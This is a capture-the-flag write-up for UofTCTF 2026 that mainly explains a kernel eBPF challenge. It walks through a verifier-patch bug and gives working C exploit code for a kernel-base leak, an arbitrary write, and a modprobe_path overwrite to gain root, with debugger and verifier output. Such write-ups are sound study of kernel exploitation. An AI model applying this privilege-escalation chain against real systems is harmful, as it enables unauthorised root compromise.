UofTCTF 2026
4012 words | 19 minutes
The year is 2026.
OpenAI’s Codex is able to process 10k LOC wasm2wat output for 35 minutes without hallucinating through hell and back and vomits out a flag for a reverse engineering challenge. Google Gemini is able to find an obscure blog post from 2021 that outlines the exact exploit I’m looking for which regular Google won’t properly index because… that’s just how it is now. Claude Code is preheating the oven for me to put my head in it when it successfully solves an EVM challenge by staring at the raw bytes.
But yet, we cringe on.
Given that reverse engineering challenges are getting progressively oneshottable (well, uncreative reverse engineering challenges, that is), perhaps this is the year that we (as in me, and the voices in my head) revisit pwn.
For this year’s UofTCTF, there isn’t much point in me writing up the rev challenges as they were… trivial. In brief:
- BYOP is an obfuscated js byte VM with a verifier, preventing you from calling a function to read the
/flag.txtfile from the root folder. You can bypass the verifier by creating a payload with intentional byte misalignment, which the verifier will interpret as arithmetic instructions, but the true execution calls said restricted function via a short jump. I am unconvinced that in a pre-GPT world that this would have so many solves in so little time. - Symbol of Hope looks just like this one challenge I saw in CDDC 2024 (or 2025?) where it’s a flagchecker but each constraint is in a nested function call. Unsurprisingly, this is oneshottable with
angr. - ML Connoisseur is an obfuscated byte VM implemented in PyTorch (it seems), where you require some malicious input which will pass through said VM to get a hidden classification of
10on the MNIST. As it is a PyTorch model, it is invertible via backprop. Just, um, do that. - The WASM one is just pure tedium.
So that’s about it for rev.
Instead, let’s look at pwn!
Binary Exploitation
extended-eBPF
So, if this blog is to be believed, I have not done a single kernel pwn challenge in an international CTF before. I’m a little out of my element here, but whatever. This is all new to me!
This writeup will be a little cursed, attributable to:
- Me not installing the bata24 fork of
gefuntil after the CTF - The code being a Frakenstein of multiple exploits I found along the way
- The fact that I am not an expert in this topic and will be parroting to an extent
So rather than a straight to the point “yeah, this is the solve”, let’s go on a journey together.
Initial Scoping
We’re given a few files to work with. We’ve got the “standard” affair, namely start-qemu.sh, bzImage and initramfs.cpio.gz. The actual challenge is contained within chall.patch:
1diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
2index 24ae8f33e5d7..e5641845ecc0 100644
3--- a/kernel/bpf/verifier.c
4+++ b/kernel/bpf/verifier.c
5@@ -13030,7 +13030,7 @@ static int retrieve_ptr_limit(const struct bpf_reg_state *ptr_reg,
6 static bool can_skip_alu_sanitation(const struct bpf_verifier_env *env,
7 const struct bpf_insn *insn)
8 {
9- return env->bypass_spec_v1 || BPF_SRC(insn->code) == BPF_K;
10+ return true;
11 }
12
13 static int update_alu_sanitation_state(struct bpf_insn_aux_data *aux,
14@@ -14108,7 +14108,7 @@ static bool is_safe_to_compute_dst_reg_range(struct bpf_insn *insn,
15 case BPF_LSH:
16 case BPF_RSH:
17 case BPF_ARSH:
18- return (src_is_const && src_reg->umax_value < insn_bitness);
19+ return (src_reg->umax_value < insn_bitness);
20 default:
21 return false;
22 }Running strings on bzImage, we know we have an image with kernel version 6.12.47, so let’s pull up a copy of bpf/verifier.c from bootlin to take a look.
The first patch is straightforward. There’s a function called can_skip_alu_sanitation and we’re just bypassing its logic altogether. A Google search for the function gets us this pwn2own whitepaper, which mentions:
ALU Sanitation bypass
As described in the URl below, there’s a mitigation logic called “ALU sanitation”.
This will be added if there’s any addition or subtraction to map pointer.
…
It avoids inserting ALU sanitation instructions because the return value of can_skip_alu_sanitation() will be true.
This brings us to a writeup for CVE-2020-8835, which we will come back to later. For now, we keep in mind that such a mitigation exists, and we have a free pass on it through this patch.
Let’s look at the second part of the patch. The next function affected is is_safe_to_compute_dst_reg_range, where we remove the check on src_is_const. Going up before the shift operations, we see this chunk of code defining src_is_const:
1bool src_is_const = false;
2u64 insn_bitness = (BPF_CLASS(insn->code) == BPF_ALU64) ? 64 : 32;
3
4if (insn_bitness == 32) {
5 if (tnum_subreg_is_const(src_reg->var_off)
6 && src_reg->s32_min_value == src_reg->s32_max_value
7 && src_reg->u32_min_value == src_reg->u32_max_value)
8 src_is_const = true;
9} else {
10 if (tnum_is_const(src_reg->var_off)
11 && src_reg->smin_value == src_reg->smax_value
12 && src_reg->umin_value == src_reg->umax_value)
13 src_is_const = true;
14}It checks whether a src_reg has matching smin and smax, umin and umax values. We still don’t really know what we’re looking at, but at least this sort of logic is consistent with what we’re familiar with. We just keep in mind that when performing shift operations that we now are able to use “source values that may not be constant”.
Okay, cool. Now let’s address the elephant in the room: what the heck is eBPF?
The extended Berkeley Packet Filter
The Berkeley Packet Filter (BPF), as described by Wikipedia dot org, “permits computer network packets to be captured and filtered at the operating system level” and “allows a userspace process to supply a filter program that specifies which packets it wants to receive.”. We’re looking at the extended version, on top of that, which is what people usually refer to when they say BPF nowadays anyways.
There’s a great resource in the BPF Reference Guide which describes the BPF architecture, but the opening paragraphs tell us what we need to know:
BPF is a highly flexible and efficient virtual machine-like construct in the Linux kernel allowing to execute bytecode at various hook points in a safe manner. It is used in a number of Linux kernel subsystems, most prominently networking, tracing and security (e.g. sandboxing).
...
Even though the name Berkeley Packet Filter hints at a packet filtering specific purpose, the instruction set is generic and flexible enough these days that there are many use cases for BPF apart from networking. See Further Reading for a list of projects which use BPF.
In brief, what eBPF provides us is a VM within the kernel with its own ISA that we can interact with through a userland program. We can construct eBPF programs with this bytecode and hand it off to the kernel, which presents a clear exploitation surface. As such, eBPF programs are subject to verification (the very file we’re patching for this challenge!).
The eBPF Verifier
To make sure there’s no tomfoolery afoot, eBPF programs are passed through verification steps that will simulate the flow of every instruction, observing register and stack values to make sure no boundaries are being violated. There’s plenty of details that you can read here.
What’s relevant to us is the point on range tracking. To avoid OOB access, the minimum and maximum signed and unsigned values of the registers in the eBPF VM are tracked, which is what we saw earlier in the logic for src_is_const.
Since the patches were applied to the verifier, we now have to think about what primitive we’ve been handed through them — what part of the verifier has been broken?
Violating Range Tracking
While solving this challenge, I read a bunch of other eBPF writeups and the main primitive everyone seems to conjure is there being a discrepancy in some value that the verifier produces and what it actually is during runtime.
We see this in the writeups for D3CTF 2022 here and here, we see this in the aforementioned CVE-2020-8835 writeup, also in CVE-2022-23222, and CVE-2021-3490. Oh, and for DUCTF 2025. And aliyunCTF 2025.
So why is this so useful? Recall that range tracking is a mechanism to prevent OOB access. However, if we are somehow able to produce a register that the verifier assumes holds the value 0, but in reality holds the value 1, when we calculate addresses using that register, we can get ourselves OOB access!
Furthermore, we’re given a free pass on ALU Mitigation. Usually, the verifier would impose a limit on the offset you can apply to some pointer to prevent OOB access. In actuality, our fake zero register should be able to bypass this mitigation as well since the calculated offsets shouldn’t ever exceed the alu_limit since, well, it’s just math with zero. However, we don’t even need to worry about that.
The question now is how will we trigger such a bug with the weird src_is_const bypass we’ve been given.
Well, let’s bring in a non-constant value and muck around with it!
The src_is_const Bug
We’re able to pass data through userspace to kernelspace and vice versa using eBPF maps, which are either arrays or hash-tables. There are restrictions on what values we can pass through (e.g. if you get the reference to the map in the kernel, load it into a register and make the first element of said map its own address, the verifier will stop you), but for the most part we’re given a free and easy way to interact with our eBPF program through these maps. Obviously, the aforementioned range tracking applies to maps as well.
The verifier won’t let us use a user supplied value from a map to use as a pointer offset as that’s inherently dangerous, so only once we turn it into a scalar value with a known range can we use it as an offset. This can be done by applying some arithmetic operations to it, say, AND 1, which will restrict it to a scalar in the range [0,1].
This is where our bug comes in!
A user supplied value may not be a constant value (duh), but we are still free to use it in bit shifting operations thanks to our patch. Consider the following:
- We start by loading a user supplied value of 1 into a register via a map. The verifier treats this as an unknown value.
- By applying
AND 1to the register, we squeeze it to the range[0,1]. We know its value is 1 because, well, that’s what we set it to be, but the verifier can only assume its 0 or 1. - We use this non-constant value in a shift operation, say,
LSH. This is our bug! The verifier here will assume that the value is 0, so if we perform1 << REG, the verifier will think the result is 1 when it’s actually 2.
Let’s copy some code from here so that we can play around with this. This gives us the scaffolding to setup the BPF program and interact with the BPF maps.
1int main(){
2
3 oob_map_fd = bpf_map_create(4, 0x150, 1);
4
5 if(oob_map_fd < 0){
6 printf("bomb!!!\n");
7 perror("create_map");
8 return 1;
9 }
10
11 uint64_t value = 0xDEADBEEFCAFEBABF; // set val and help with struct inspection
12 bpf_map_update_elem(oob_map_fd, 0, &value, BPF_ANY);
13
14 struct bpf_insn bugging[] = {
15 // load pointer to oob_map_fd map into R1
16 BPF_LD_MAP_FD(BPF_REG_1, oob_map_fd),
17 BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
18 BPF_MOV64_IMM(BPF_REG_0, 0),
19
20 // write 0 to [rsp-4]
21 BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
22 BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
23 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
24
25 // pull value from map
26 BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
27 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
28 BPF_EXIT_INSN(),
29
30 BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
31
32 // we should get 1, because that is what we wrote to that slot
33 BPF_LDX_MEM(BPF_DW,BPF_REG_4, BPF_REG_0, 0),
34 BPF_ALU64_IMM(BPF_AND, BPF_REG_4, 1),
35 BPF_MOV64_IMM(BPF_REG_8, 1),
36 BPF_ALU64_REG(BPF_LSH, BPF_REG_8, BPF_REG_4), // 1 << 1 = 2, but verifier thinks 1 << 0 = 1
37 BPF_ALU64_IMM(BPF_SUB, BPF_REG_8, 1), // 2 - 1 = 1, but verifier thinks 1 -1 = 0
38
39 // now BPF_REG_8 should be carrying 1, but the verifier thinks its carrying 0
40 BPF_MOV64_REG(BPF_REG_0, BPF_REG_8),
41
42 // clear reg0 so it doesn't bitch
43 BPF_MOV64_IMM(BPF_REG_0, 0),
44 BPF_EXIT_INSN()
45 };
46
47 run_bpf_prog(bugging, sizeof(bugging)/sizeof(bugging[0]));
48}The scaffolding we copy runs the BPF program with logging level of 2, which will give us verifier output:
func#0 @0
0: R1=ctx() R10=fp0
0: (18) r1 = 0x0 ; R1_w=map_ptr(ks=4,vs=336)
2: (bf) r2 = r10 ; R2_w=fp0 R10=fp0
3: (b7) r0 = 0 ; R0_w=P0
4: (63) *(u32 *)(r10 -4) = r0 ; R0_w=P0 R10=fp0 fp-8=0000????
5: (bf) r2 = r10 ; R2_w=fp0 R10=fp0
6: (07) r2 += -4 ; R2_w=fp-4
7: (85) call bpf_map_lookup_elem#1 ; R0_w=map_value_or_null(id=1,ks=4,vs=336)
8: (55) if r0 != 0x0 goto pc+1 ; R0_w=P0
9: (95) exit
from 8 to 10: R0=map_value(ks=4,vs=336) R10=fp0 fp-8=mmmm????
10: R0=map_value(ks=4,vs=336) R10=fp0 fp-8=mmmm????
10: (bf) r7 = r0 ; R0=map_value(ks=4,vs=336) R7_w=map_value(ks=4,vs=336)
11: (79) r4 = *(u64 *)(r0 +0) ; R0=map_value(ks=4,vs=336) R4_w=Pscalar()
12: (57) r4 &= 1 ; R4_w=Pscalar(smin=smin32=0,smax=umax=smax32=umax32=1,var_off=(0x0; 0x1))
13: (b7) r8 = 1 ; R8_w=P1
14: (6f) r8 <<= r4 ; R4_w=Pscalar(smin=smin32=0,smax=umax=smax32=umax32=1,var_off=(0x0; 0x1)) R8_w=P1
15: (17) r8 -= 1 ; R8_w=P0
16: (bf) r0 = r8 ; R0_w=P0 R8_w=P0
17: (b7) r0 = 0 ; R0_w=P0
18: (95) exit
Notice on line 14, we have R4 which possesses a non-constant scalar value thanks to the patch and our own mucking around, and when applying it as a LSH to R8, it calculates R8 to be 1 despite it possibly being 2. This is thanks to the logic implemented in scalar_min_max_lsh in verifier.c, where the assumption seemingly takes place.
So we manage to get our primitive! Nice. Now, onto the rest of the exploit.
Leaking kbase
Similar to userspace programs, the kernel also has ASLR in the form of… kASLR. This may be my first time doing a kernel challenge, but this isn’t hard to grasp. In a similar vein, we probably have to find some sort of offset that we can work with using our OOB access, then leak that value.
In the existing writeups, they speak of leaking the bpf_map_op *ops struct address, which is apparently 0x110 bytes away from the first map element. Let’s add that to our exploit:
1 ...
2 // at this point, we have just moved the value of REG_8 to REG_0
3
4 BPF_ALU64_IMM(BPF_MUL, BPF_REG_0, 0x110),
5 BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_0),
6 // now BPF_REG_7 should (should) be carrying map_ptr + 0x0, which is a ptr to array_map_ops
7 BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0),
8 BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x110),
9 // write array_map_ops ptr to map_ptr + 0x110
10 BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, 0),
11
12 // clear reg0 so it doesn't bitch
13 BPF_MOV64_IMM(BPF_REG_0, 0),
14 BPF_EXIT_INSN()
15 };
16
17 run_bpf_prog(bugging, sizeof(bugging)/sizeof(bugging[0]));
18 uint64_t array_map_ops = bpf_map_lookup_elem(oob_map_fd, 0, 0);
19 printf("array_map_ops: %p\n", array_map_ops);
20}Blindly doing this, we do not get a leak.
...
19: (79) r6 = *(u64 *)(r7 +0) ; R6_w=Pscalar() R7_w=map_value(ks=4,vs=336)
20: (07) r7 += 272 ; R7_w=map_value(ks=4,vs=336,off=272)
21: (7b) *(u64 *)(r7 +0) = r6 ; R6_w=Pscalar() R7_w=map_value(ks=4,vs=336,off=272)
22: (b7) r0 = 0 ; R0_w=P0
23: (95) exit
processed 23 insns (limit 1000000) max_states_per_insn 0 total_states 1 peak_states 1 mark_read 1
array_map_ops: 0
$
Aw shucks.
Maybe the struct layout has changed. But we’re reverse engineers, why don’t we just figure out the new offset by eyeballing some structs?
Our plan is simple: somehow get ahold of the address in kernelspace of the map that we create, then look around from a known value (in this case, we are writing 0xDEADBEEFCAFEBABF, so we can use that as our “marker”) until we see a useful leak.
So what can we break on? Well, we perform bpf_map_update_elem to write the aforementioned value to the first slot of the map, which must trigger some kernel function, which in this case is array_map_update_elem, of which the first argument when called will be the address of the map struct.
How do we get the address of array_map_update_elem? Well, I don’t seem to have symbols to work with, using extract-vmlinux nor vmlinux-to-elf seemed to help, so we do it the old-school nonsense method.
- We first patch
initin ourinitramfs.cpio.gzto give us root rather than thectfuser. - Now, we can call
grep xxx /proc/kallsymsto get the address of functions we want. - We can also get our kbase by calling
grep "\<_text\>" /proc/kallsymsbecause basegefhas nokbasefunction. Oop. - We add an additional breakpoint on
bpf_map_lookup_elemjust so we can perform some observations before the program exits.
Let’s get our addresses first:
~ # grep "\<_text\>" /proc/kallsyms
ffffffff94e00000 T _text
~ # grep array_map_update_elem /proc/kallsyms
ffffffff94fd5750 t __pfx_array_map_update_elem
ffffffff94fd5760 t array_map_update_elem
ffffffff94fd63c0 T __pfx_bpf_fd_array_map_update_elem
ffffffff94fd63d0 T bpf_fd_array_map_update_elem
And now, we can debug. Doing this, even while supplying the exploit and vmlinux, gef is still bugging out, but not so badly that we can’t get what we want done:
Breakpoint 1, 0xffffffff94fd5760 in ?? ()
[!] Command 'context' failed to execute properly, reason: buffer overflow
(remote) gef➤ i r rdi
rdi 0xffff9dcb021b4400 0xffff9dcb021b4400
(remote) gef➤ c
Continuing.
Breakpoint 2, 0x000000000040146b in bpf_map_lookup_elem ()
[!] Command 'context' failed to execute properly, reason: buffer overflow
(remote) gef➤ x/80gx 0xffff9dcb021b4400
0xffff9dcb021b4400: 0xffffffff95a1d9a0 0x0000000000000000
0xffff9dcb021b4410: 0x0000000400000002 0x0000000100000150
0xffff9dcb021b4420: 0x0000000000000000 0x0000000100000000
0xffff9dcb021b4430: 0x0000000000000000 0x00000000ffffffff
0xffff9dcb021b4440: 0x0000000000000000 0x0000000000000000
0xffff9dcb021b4450: 0x0000000000000000 0x0000000000000000
0xffff9dcb021b4460: 0x0000000000000000 0x0000000000000000
0xffff9dcb021b4470: 0xffff9dcb021b4470 0xffff9dcb021b4470
0xffff9dcb021b4480: 0x0000000000000002 0x0000000000000001
0xffff9dcb021b4490: 0x0000000000000000 0x0000000000000000
0xffff9dcb021b44a0: 0x0000000000000000 0x0000000000000000
0xffff9dcb021b44b0: 0x0000000000000000 0x0000000000000000
0xffff9dcb021b44c0: 0x0000000000000000 0x0000000000000001
0xffff9dcb021b44d0: 0x0000000000000000 0x0000000000000000
0xffff9dcb021b44e0: 0x0000000000000001 0x0000000000000150
0xffff9dcb021b44f0: 0x0000000000000000 0xdeadbeefcafebabf
...
Nice! So we can see that the offset from our first element to the starting address of the map is actually 0xF8 rather than 0x110. Furthermore, this starting address provides us with a consistent leak, so we can use that to get our kbase. Our exploit now looks like this:
1int main(){
2
3 oob_map_fd = bpf_map_create(4, 0x150, 1);
4
5 if(oob_map_fd < 0){
6 printf("bomb!!!\n");
7 perror("create_map");
8 return 1;
9 }
10
11 uint64_t value = 0xDEADBEEFCAFEBABF; // set val and help with struct inspection
12 bpf_map_update_elem(oob_map_fd, 0, &value, BPF_ANY);
13
14 struct bpf_insn kbase_leak[] = {
15 // this part is copied from chompie
16 // load pointer to oob_map_fd map into R1
17 BPF_LD_MAP_FD(BPF_REG_1, oob_map_fd),
18 BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
19 BPF_MOV64_IMM(BPF_REG_0, 0),
20
21 // write 0 to [rsp-4]
22 BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
23 BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
24 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
25
26 // pull value from map
27 BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
28 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
29 BPF_EXIT_INSN(),
30
31 // store &oob_map[0] in BPF_REG_7, but actually its oob_map_ptr + 0xf8
32 // that's the offset of .values in bpf_array
33 BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
34
35 // we should get 1, because that is what we wrote to that slot
36 BPF_LDX_MEM(BPF_DW,BPF_REG_4, BPF_REG_0, 0),
37 BPF_ALU64_IMM(BPF_AND, BPF_REG_4, 1),
38 BPF_MOV64_IMM(BPF_REG_8, 1),
39 BPF_ALU64_REG(BPF_LSH, BPF_REG_8, BPF_REG_4), // 1 << 1 = 2, but verifier thinks 1 << 0 = 1
40 BPF_ALU64_IMM(BPF_SUB, BPF_REG_8, 1), // 2 - 1 = 1, but verifier thinks 1 -1 = 0
41
42 // now BPF_REG_8 should be carrying 1, but the verifier thinks its carrying 0
43 BPF_MOV64_REG(BPF_REG_0, BPF_REG_8),
44 BPF_ALU64_IMM(BPF_MUL, BPF_REG_0, 0xF8), // fucked up weird ahh offset manually derived
45 BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_0),
46 // now BPF_REG_7 should (should) be carrying map_ptr + 0x0, which is a ptr to array_map_ops
47 // we load that into BPF_REG_6
48 BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0),
49 BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0xF8),
50 // write array_map_ops ptr to map_ptr + 0xf8
51 BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, 0),
52 // clear reg0 so it doesn't bitch
53 BPF_MOV64_IMM(BPF_REG_0, 0),
54 BPF_EXIT_INSN()
55 };
56
57 run_bpf_prog(kbase_leak, sizeof(kbase_leak)/sizeof(kbase_leak[0]));
58 uint64_t array_map_ops = bpf_map_lookup_elem(oob_map_fd, 0, 0);
59 printf("array_map_ops: %p\n", array_map_ops);
60 // now we can calculate kbase from our fixed offset
61 uint64_t kbase = array_map_ops - 0xc1d9a0;
62 printf("kbase: %p\n", kbase);
63}Upgrading to Arbritrary Write
We have a nice OOB primitive now, but we want this to be upgraded into a Write-What-Where so that we can… do something. Let’s pick a thing to do. We’ve got options, be it modprobe_path, the cred struct, ROP chaining (A good reference!. When I first learnt pwn, I was always frustrated with how sparse resources were on what to do with your arb-R/Ws. Bless these resources.)…
I decided to go with a modprobe_path overwrite for a few reasons:
- Without symbols and with my debugger shitting itself, finding the
credstruct might be annoying. - Even though
modprobe_pathseems to have had some patches to prevent you from triggering it like described in the above resource, other people have already found workarounds. - I have free code that I can copy from this writeup.
We can look for our offset to /sbin/modprobe by just using good ol’ search-pattern, which gives us an offset of +0x10be1e0 from our kbase.
Okay, back to upgrading our OOB.
Lots of the writeups rely on faking a bpf_map_ops struct or the array_map_ops table, but lots of newer writeups rely on the bpf_skb_load_bytes function. In essence, it lets you load values from a packet onto the stack, starting from some offset. In eBPF programs, we do have to manage the stack “manually” since there is no real conception of a PUSH or POP, instead just directly writing to offsets from the stack register (which is BPF_REG_10).
The plan is to first push a “safe” value onto the stack i.e. a map pointer, then when we call bpf_skb_load_bytes, using our fake zero register, we lead to a miscalculation of the stack offset to produce an overlap between the safe value and a value we control from the packet, giving us a pointer that we now have full control and use over. This is the technique used in the CVE-2022-23222 PoC.
It’s really clean!
1void run_bpf_prog_w_vals(struct bpf_insn *insns, uint insncnt, const void *data, size_t size){
2 setup_bpf_prog(insns, insncnt);
3 if(write(socks[1], data, size) < 0) {
4 printf("Something wrong with the write!\n");
5 exit(1);
6 }
7 close(socks[0]);
8 close(socks[1]);
9 socks[0] = -1;
10}
11
12int main(){
13 ...
14 // we have our kbase leak and modprobe address calculated by now
15 oob_map_fd = bpf_map_create(4, 0x150, 1);
16 bpf_map_update_elem(oob_map_fd, 0, &value, BPF_ANY);
17
18 struct bpf_insn arb_write[] = {
19 // save ctx
20 BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
21
22 // same setup from earlier
23 BPF_LD_MAP_FD(BPF_REG_1, oob_map_fd),
24 BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
25 BPF_MOV64_IMM(BPF_REG_0, 0),
26 BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
27 BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
28 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
29 BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
30 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
31 BPF_EXIT_INSN(),
32
33 BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
34
35 BPF_LDX_MEM(BPF_DW,BPF_REG_4, BPF_REG_0, 0),
36 BPF_ALU64_IMM(BPF_AND, BPF_REG_4, 1),
37 BPF_MOV64_IMM(BPF_REG_1, 1),
38 BPF_ALU64_REG(BPF_LSH, BPF_REG_1, BPF_REG_4), // 1 << 1 = 2, but verifier thinks 1 << 0 = 1
39 BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1), // 2 - 1 = 1, but verifier thinks 1 -1 = 0
40
41 // now BPF_REG_1 should be carrying 1, but the verifier thinks its carrying 0
42 BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
43 BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 1),
44 BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, 8),
45 // store the array pointer
46 BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -8),
47
48 // overwrite array pointer on stack
49 // we use BPF_FUNC_skb_load_bytes instead of the relative version because its cleaner
50 BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), // ctx
51 BPF_MOV64_IMM(BPF_REG_2, 0),
52 BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
53 BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
54 BPF_MOV64_REG(BPF_REG_4, BPF_REG_7), // verifier 8, but actually 16
55 BPF_MOV64_IMM(BPF_REG_5, 0),
56 BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes),
57
58 // the address we want to write to will be in here!
59 BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),
60
61 // since we know what we want to write and that its 64bit we just hardcode here
62 BPF_MOV64_IMM(BPF_REG_0, 0),
63 BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),
64 BPF_MOV64_IMM(BPF_REG_0, 0x706d742f), // "/tmp"
65 BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),
66 BPF_MOV64_IMM(BPF_REG_0, 0x782f), // "/x"
67 BPF_STX_MEM(BPF_W, BPF_REG_6, BPF_REG_0, 4),
68
69 // clear reg0 so it doesn't bitch
70 BPF_MOV64_IMM(BPF_REG_0, 0),
71 BPF_EXIT_INSN()
72 };
73
74 *(uint64_t *)(trigger_buf + 8) = modprobe;
75 run_bpf_prog_w_vals(arb_write, sizeof(arb_write)/sizeof(arb_write[0]), trigger_buf, 0x100);
76}We overwrite "/sbin/modprobe" with "/tmp/x" for our final stage of the exploit, and now we just trigger it with our copied code to get root!
The final exploit can be read here, with headers stolen from here.
Flag: uoftctf{n0n_c0ns74n7_shif7_is_700_big_0f_4n_3x73nsi0n}